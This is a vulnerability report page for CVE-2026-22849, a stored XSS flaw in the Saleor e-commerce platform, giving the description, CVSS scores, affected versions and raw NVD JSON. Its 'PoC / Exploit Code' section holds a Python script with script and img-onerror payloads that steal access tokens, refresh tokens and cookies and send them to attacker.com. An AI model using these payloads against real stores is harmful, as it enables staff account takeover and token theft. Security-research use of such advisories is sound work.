Security Vulnerability Report
中文
CVE-2026-22849 CVSS 4.8 MEDIUM

CVE-2026-22849

Published: 2026-01-21 22:15:50
Last Modified: 2026-01-29 18:17:46

Description

Saleor is an e-commerce platform. Starting in version 3.0.0 and prior to versions 3.20.108, 3.21.43, and 3.22.27, Saleor was allowing users to modify rich text fields with HTML without running any backend HTML cleaners thus allowing malicious actors to perform stored XSS attacks on dashboards and storefronts. Malicious staff members could craft script injections to target other staff members, possibly stealing their access and/or refresh tokens. This issue has been patched in versions 3.22.27, 3.21.43, and 3.20.108. In case of inability to upgrade straight away, a possible workaround is to use client-side cleaner.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
Saleor 3.0.0 - 3.20.107
Saleor 3.21.0 - 3.21.42
Saleor 3.22.0 - 3.22.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-22849 PoC - Stored XSS in Saleor Rich Text Fields # Target: Saleor e-commerce platform versions < 3.20.108, 3.21.43, 3.22.27 TARGET_URL = "https://target-saleor-instance.com/graphql/" ACCESS_TOKEN = "your_staff_access_token" # Malicious payload for stored XSS xss_payload = ''' <script> // Steal access/refresh tokens var tokens = { access: localStorage.getItem('saleorAccessToken'), refresh: localStorage.getItem('saleorRefreshToken'), cookies: document.cookie }; // Exfiltrate tokens to attacker server fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(tokens))); </script> ''' # Alternative payload using event handlers xss_payload_alt = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' def exploit_stored_xss(): headers = { 'Authorization': f'Bearer {ACCESS_TOKEN}', 'Content-Type': 'application/json' } mutation = { "query": """ mutation { updateMetadata( id: "User:1" input: { key: "description" value: \""" + xss_payload + "\""" } ) { item { id metadata { key value } } } } """ } response = requests.post(TARGET_URL, headers=headers, json=mutation) print(f"Exploit sent. Response: {response.status_code}") print(response.text) if __name__ == "__main__": print("CVE-2026-22849 - Saleor Stored XSS Exploit") exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22849", "sourceIdentifier": "[email protected]", "published": "2026-01-21T22:15:49.533", "lastModified": "2026-01-29T18:17:46.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. Starting in version 3.0.0 and prior to versions 3.20.108, 3.21.43, and 3.22.27, Saleor was allowing users to modify rich text fields with HTML without running any backend HTML cleaners thus allowing malicious actors to perform stored XSS attacks on dashboards and storefronts. Malicious staff members could craft script injections to target other staff members, possibly stealing their access and/or refresh tokens. This issue has been patched in versions 3.22.27, 3.21.43, and 3.20.108. In case of inability to upgrade straight away, a possible workaround is to use client-side cleaner."}, {"lang": "es", "value": "Saleor es una plataforma de comercio electrónico. A partir de la versión 3.0.0 y antes de las versiones 3.20.108, 3.21.43 y 3.22.27, Saleor permitía a los usuarios modificar campos de texto enriquecido con HTML sin ejecutar ningún limpiador HTML de backend, lo que permitía a actores maliciosos realizar ataques de XSS almacenado en paneles de control y escaparates. Miembros del personal maliciosos podían crear inyecciones de scripts para atacar a otros miembros del personal, posiblemente robando sus tokens de acceso y/o de actualización. Este problema ha sido parcheado en las versiones 3.22.27, 3.21.43 y 3.20.108. En caso de no poder actualizar de inmediato, una posible solución alternativa es usar un limpiador del lado del cliente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-83"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.20.108", "matchCriteriaId": "7F684302-13A5-4BD3-B546-3AB0297C0CF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.21.0", "versionEndExcluding": "3.21.43", "matchCriteriaId": "FDC53D16-03D0-4360-B155-4EDE149A2C18"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.27", "matchCriteriaId": "A7BCEDB3-50C9-46CC-A3A7-564F00D76570"}]}]}], "references": [{"url": "https://docs.saleor.io/security/#editorjs--html-cleaning", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/saleor/saleor/commit/1085c7813224a0a65f1dac7275cbc3244e23c386", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/676d95dbc7d81161 ... (truncated)